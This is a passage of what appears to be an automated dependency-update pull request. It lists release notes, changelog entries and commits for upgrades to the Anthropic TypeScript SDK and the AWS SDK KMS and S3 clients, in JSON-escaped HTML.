changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/compare/sdk-v0.134.0...sdk-v0.135.0\"\u003e0.135.0\u003c/a\u003e (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add between_tools to thinking types in model capabilities\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add the speed parameter and usage.speed to Messages\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e return a Console organization's usage-tier spend cap as a read-only spend limit\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e close streams dropped without being read to the end\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e keep an unread JSONL response open while it is held\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e speed up breaking change detection\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e describe headers on Managed Agents and telemetry endpoints\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e note that some models need a beta header to use speed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/compare/sdk-v0.133.0...sdk-v0.134.0\"\u003e0.134.0\u003c/a\u003e (2026-10-14)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add execution_identity to Managed Agents agents\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add organization_type_not_supported error to spend limit lists\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add telemetry destination test endpoint\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eapi:\u003c/strong\u003e add telemetry destinations to the Admin API\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eclient:\u003c/strong\u003e add native support for OpenTelemetry tracing\u003c/p\u003e\n\u003cp\u003eIf your app registers a global tracer provider, the SDK will create spans with it after upgrading, and they'll be exported with the rest of your traces. Requests will also get trace context headers from the global propagator. To disable, pass \u003ccode\u003eopenTelemetry: false\u003c/code\u003e to the client or set \u003ccode\u003eANTHROPIC_OPEN_TELEMETRY=false\u003c/code\u003e. Learn more in the \u003ca href=\"https://platform.claude.com/docs/en/manage-claude/opentelemetry/sdk\"\u003edocumentation\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e rename telemetry destination test response model\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e close an unread stream that was dropped while tracing is on\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e don't follow redirects on token requests\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e treat proxy-authorization as a sensitive header\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e tolerate unknown event types in MessageStream and BetaMessageStream\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e stop throwing \u0026quot;Unexpected event order\u0026quot; for an event before message_start\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/04a4c28c70de498d6d0e930e43edb5edb9ac545e\"\u003e\u003ccode\u003e04a4c28\u003c/code\u003e\u003c/a\u003e release: 0.135.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/69dbe62f377e3a12e14ef087d139bbdad410cb64\"\u003e\u003ccode\u003e69dbe62\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/anthropics/anthropic-sdk-typescript/issues/935\"\u003e#935\u003c/a\u003e from anthropics/synced/published\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/b61a531fcc3de9a45e9330257655fa798b33ab53\"\u003e\u003ccode\u003eb61a531\u003c/code\u003e\u003c/a\u003e feat(helpers): retry a rate-limited fast fallback at standard speed (\u003ca href=\"https://redirect.github.com/anthropics/anthropic-sdk-typescript/issues/943\"\u003e#943\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/38d0ab4b8e1c9bb763e32362f98f277de86aecb8\"\u003e\u003ccode\u003e38d0ab4\u003c/code\u003e\u003c/a\u003e feat(api): add between_tools to thinking types in model capabilities\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/366b53b2dbf205fce164a532dd919f64e5f40186\"\u003e\u003ccode\u003e366b53b\u003c/code\u003e\u003c/a\u003e chore(docs): describe headers on Managed Agents and telemetry endpoints\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/ca50812ed769a40510bb2f9e5e232e95cdd376f1\"\u003e\u003ccode\u003eca50812\u003c/code\u003e\u003c/a\u003e docs(api): note that some models need a beta header to use speed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/03f6012e6d6d25fe5402674a4f525f7c52a27a22\"\u003e\u003ccode\u003e03f6012\u003c/code\u003e\u003c/a\u003e fix(helpers): honor speed overrides from fallback entries when streaming (\u003ca href=\"https://redirect.github.com/anthropics/anthropic-sdk-typescript/issues/942\"\u003e#942\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/88bf0348f005aff54d6de535b3684c8ec7876b3b\"\u003e\u003ccode\u003e88bf034\u003c/code\u003e\u003c/a\u003e docs(changelog): shorten the OpenTelemetry tracing note (\u003ca href=\"https://redirect.github.com/anthropics/anthropic-sdk-typescript/issues/941\"\u003e#941\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/7c807a0d94de53d8484dca989fdd50977a29ae2e\"\u003e\u003ccode\u003e7c807a0\u003c/code\u003e\u003c/a\u003e fix(client): close streams dropped without being read to the end\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/64758f63568ecf53dae4e2573d4d0af6a69a8341\"\u003e\u003ccode\u003e64758f6\u003c/code\u003e\u003c/a\u003e feat(api): add the speed parameter and usage.speed to Messages\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/compare/sdk-v0.115.0...sdk-v0.135.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-kms` from 3.1146.0 to 3.1153.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-kms's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1153.0\u003c/h2\u003e\n\u003ch4\u003e3.1153.0(2026-10-19)\u003c/h4\u003e\n\u003ch5\u003eChores\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e  consume JSON codec from \u003ccode\u003e@​smithy/core\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8335\"\u003e#8335\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/412d1362e9d60979d3e11e7396e2598872b55773\"\u003e412d1362\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate codeowners (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8365\"\u003e#8365\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/00c08848a20fb3870a839e089499bf72c5f5075d\"\u003e00c08848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecodegen:\u003c/strong\u003e  sync for JSON codec and schema server plugin (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8353\"\u003e#8353\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e3e350b59\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  resolve changelog path by resolved location (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8356\"\u003e#8356\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3f50ee0831e219e47519de8d6adf64b2a0396b41\"\u003e3f50ee08\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codepipeline:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/75cdc917412a0ac35ca4257ccabae052df793f1b\"\u003e75cdc917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-devops-agent:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5ff30e27b6a887a1f59d0dceb80223cb76df9bcc\"\u003e5ff30e27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding a new Expected Bucket Owner optional field for GuardDuty publishing destination APIs (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/2b62c86019889b1c992d13487de415115279fbf8\"\u003e2b62c860\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch:\u003c/strong\u003e  This release adds ActionConfiguration to PutMetricAlarm, PutCompositeAlarm and PutLogAlarm. It allows customers to include an alarm's tags in its notifications and alarm state change events (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ae7349077d8a6917a553b468f1f9704f63b7afa3\"\u003eae734907\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-observabilityadmin:\u003c/strong\u003e  Adding support for EKS Container Insights Telemetry Rules (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3c63647d7897d553f1f00e36de54eb5f94c263b7\"\u003e3c63647d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-xray:\u003c/strong\u003e  Adds support for encrypting the Transaction Search spans log group with a customer managed AWS KMS key. Pass the key ARN in the new CloudWatchLogsConfiguration.SpansLogGroupKmsKeyId field of UpdateTraceSegmentDestination. X-Ray applies the key when it creates the log group. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/154d49fd78ab2bda589b4a03f3a7061efbb859d0\"\u003e154d49fd\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-databrew:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/67b90539ed1ba3cfc683e6c0276b41f8ae89b99f\"\u003e67b90539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agent:\u003c/strong\u003e  Adds Retrieval Instructions for Amazon Bedrock Knowledge Bases. Create, get, update, delete, list, and version customer-authored instructions that guide how a knowledge base retrieves and answers, with content review before use. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/d16d5176d8e0809b948c9a32eb5778b05c2c1e7b\"\u003ed16d5176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-emr-containers:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4ba3e7bbab14ce31280b6beb74afdbadc9b8049e\"\u003e4ba3e7bb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agent-runtime:\u003c/strong\u003e  Adds support for applying a Retrieval Instruction, optionally by version, to AgenticRetrieveStream requests for Amazon Bedrock Knowledge Bases, and reports the applied instruction and version on the trace. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a065ceb4d25bc8a810712d7319a37e105ef2d8af\"\u003ea065ceb4\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-dynamodb:\u003c/strong\u003e  Enable account endpoint generation for existing CN and GovCloud regions (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ca19aa35fd5555729bb74037015e8c97499cb642\"\u003eca19aa35\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-datazone:\u003c/strong\u003e  Adds SDK and CLI support for the Iceberg REST catalog connection types already available in Amazon SageMaker Unified Studio - ICEBERGRESTCATALOG, SNOWFLAKEICEBERGRESTCATALOG, and DATABRICKSICEBERGRESTCATALOG. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/589405154b0a66e2ea212629dea13241fde0f2cc\"\u003e58940515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-drs:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/50b058d144b917125aa49d08a8b3fbf34c716b5b\"\u003e50b058d1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-amplify:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7e7cacf5a108ddde97b1604a21e9cc242ac0c114\"\u003e7e7cacf5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agentcore:\u003c/strong\u003e  Adds the Builtin.FailureAnalysis evaluator for batch evaluations. GetBatchEvaluation now returns insightResults that group session failures into insights with root causes and suggested fixes. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/e34db602ee2b503787aa6a773d9bfbb6a25ed1c1\"\u003ee34db602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codecommit:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f6d27955eafb97949159410ad7e42b0decc07237\"\u003ef6d27955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-controltower:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/60659ee5353e375121fd3fdc683511243ef338e0\"\u003e60659ee5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-workspaces:\u003c/strong\u003e  Adds optional imageValidationMode enum to ImportCustomWorkspaceImageRequest. This allows customers to opt-in to having prevalidation run in the service account instead of customer account. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/38638dc747e9d3d6959eba0b23f3c962ec6b9307\"\u003e38638dc7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-connect:\u003c/strong\u003e  Amazon Connect GetAttachedFile API now supports an optional UrlContentDisposition parameter. Set it to INLINE to get a pre-signed URL that displays the file in the browser, so agents can preview email attachments without downloading them. ATTACHMENT (download) remains the default. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/81ad4d8e306be2b96e79d97bf179de424ec649c8\"\u003e81ad4d8e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch-logs:\u003c/strong\u003e  Amazon CloudWatch Logs now supports filtering DescribeDeliverySources by resourceArns, DescribeDeliveryDestinations by names, and DescribeDeliveries by deliverySourceNames. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/01e43f5704d34499152ec8099746afe49fbafed7\"\u003e01e43f57\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-grafana:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4971fd765b459428dcf433eb104a241bef5cbb62\"\u003e4971fd76\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-socialmessaging:\u003c/strong\u003e  Adding support for WhatsApp Direct Send. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/0721adf50944d4077ff8b6327e7c145c4edd5f48\"\u003e0721adf5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-timestream-influxdb:\u003c/strong\u003e  Adds four new parameters to the InfluxDBv3Enterprise parameter group for Amazon Timestream for InfluxDB. The new parameters are upgradePachaTree, walBufferSize, snapshotSize, and snapshotDuration. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1f97769a6cd4a346e2522ee0f288b006a835a8bc\"\u003e1f97769a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codedeploy:\u003c/strong\u003e  Adds support for suspending Amazon EC2 Auto Scaling processes during CodeDeploy EC2 in-place deployments. Use ec2DeploymentOptions to choose which processes are suspended and resumed. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/43c16517dc79ef4e519688a06820ddf07730cb9d\"\u003e43c16517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codestar-notifications:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/b2679b610245c018d9e0e469549b79d5208f3dd0\"\u003eb2679b61\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ecs:\u003c/strong\u003e  Adds support for configurable envoy application log levels. Customers can now debug network connectivity issues with their task's sidecar envoys. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/fca981d8614d2254efc0dedf3f01217ede005b73\"\u003efca981d8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-opensearch:\u003c/strong\u003e  Amazon OpenSearch Service adds a new TLS security policy to support FIPS policy and post-quantum cryptography (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f035263194102654c4cc6aa9d71579c19b9404d3\"\u003ef0352631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-workspaces-instances:\u003c/strong\u003e  ModifyVolume is a new public API for WorkSpaces Core Managed Instances. Customers can change the size, type, IOPS, or throughput of an existing managed volume online, with no stop required. Customers track progress by calling EC2 DescribeVolumesModifications directly. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7689ba6bcf82d36b26a4f7267a97b1b33f459b63\"\u003e7689ba6b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-iot-wireless:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/202f66a716eedc953d9d0a2471e80f03d3ae3756\"\u003e202f66a7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eBug Fixes\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etoken-providers:\u003c/strong\u003e  await in-flight SSO token refresh (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8363\"\u003e#8363\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a8459b35151dac985633a889a6d2fed51ef0b884\"\u003ea8459b35\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  include preview/ in dependency version checks (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8362\"\u003e#8362\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ef0483d3f70550c3f4cddce2f930484bf4c48761\"\u003eef0483d3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/blob/main/clients/client-kms/CHANGELOG.md\"\u003e@​aws-sdk/client-kms's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1152.0...v3.1153.0\"\u003e3.1153.0\u003c/a\u003e (2026-10-19)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1151.0...v3.1152.0\"\u003e3.1152.0\u003c/a\u003e (2026-10-14)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1150.0...v3.1151.0\"\u003e3.1151.0\u003c/a\u003e (2026-10-13)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1149.0...v3.1150.0\"\u003e3.1150.0\u003c/a\u003e (2026-10-12)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1148.0...v3.1149.0\"\u003e3.1149.0\u003c/a\u003e (2026-10-09)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1147.0...v3.1148.0\"\u003e3.1148.0\u003c/a\u003e (2026-10-08)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1146.0...v3.1147.0\"\u003e3.1147.0\u003c/a\u003e (2026-10-06)\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/35085844c581d910f51deea1b2de48f6b4ffa704\"\u003e\u003ccode\u003e3508584\u003c/code\u003e\u003c/a\u003e Publish v3.1153.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e\u003ccode\u003e3e350b5\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for JSON codec and schema server plugin (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-kms/issues/8353\"\u003e#8353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3ce8aa778c22193dad5f7fcefe239e3a74a3cd4f\"\u003e\u003ccode\u003e3ce8aa7\u003c/code\u003e\u003c/a\u003e Publish v3.1152.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/d6adfcb7baa396dd42060a74382b6aa2a1cbf0b5\"\u003e\u003ccode\u003ed6adfcb\u003c/code\u003e\u003c/a\u003e Publish v3.1151.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4c9a334a79b631cc110fb3a1d67695b4c07baf46\"\u003e\u003ccode\u003e4c9a334\u003c/code\u003e\u003c/a\u003e Publish v3.1150.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a960c14e8ce09ab8fd09352e40d75c6b9d52c1ca\"\u003e\u003ccode\u003ea960c14\u003c/code\u003e\u003c/a\u003e Publish v3.1149.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5773a7515472dbdf2760c61e4a462b71800c50e7\"\u003e\u003ccode\u003e5773a75\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for endpoint cache fix and pre-schema error fallback (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-kms/issues/8\"\u003e#8\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1bc04256c276089739faa71754dba4fde75e05aa\"\u003e\u003ccode\u003e1bc0425\u003c/code\u003e\u003c/a\u003e Publish v3.1148.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/663046d58796f32069e5198f95a3070b2f5ef969\"\u003e\u003ccode\u003e663046d\u003c/code\u003e\u003c/a\u003e Publish v3.1147.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commits/v3.1153.0/clients/client-kms\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-s3` from 3.1146.0 to 3.1153.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-s3's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1153.0\u003c/h2\u003e\n\u003ch4\u003e3.1153.0(2026-10-19)\u003c/h4\u003e\n\u003ch5\u003eChores\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e  consume JSON codec from \u003ccode\u003e@​smithy/core\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8335\"\u003e#8335\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/412d1362e9d60979d3e11e7396e2598872b55773\"\u003e412d1362\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate codeowners (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8365\"\u003e#8365\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/00c08848a20fb3870a839e089499bf72c5f5075d\"\u003e00c08848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecodegen:\u003c/strong\u003e  sync for JSON codec and schema server plugin (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8353\"\u003e#8353\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e3e350b59\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  resolve changelog path by resolved location (\u003ca 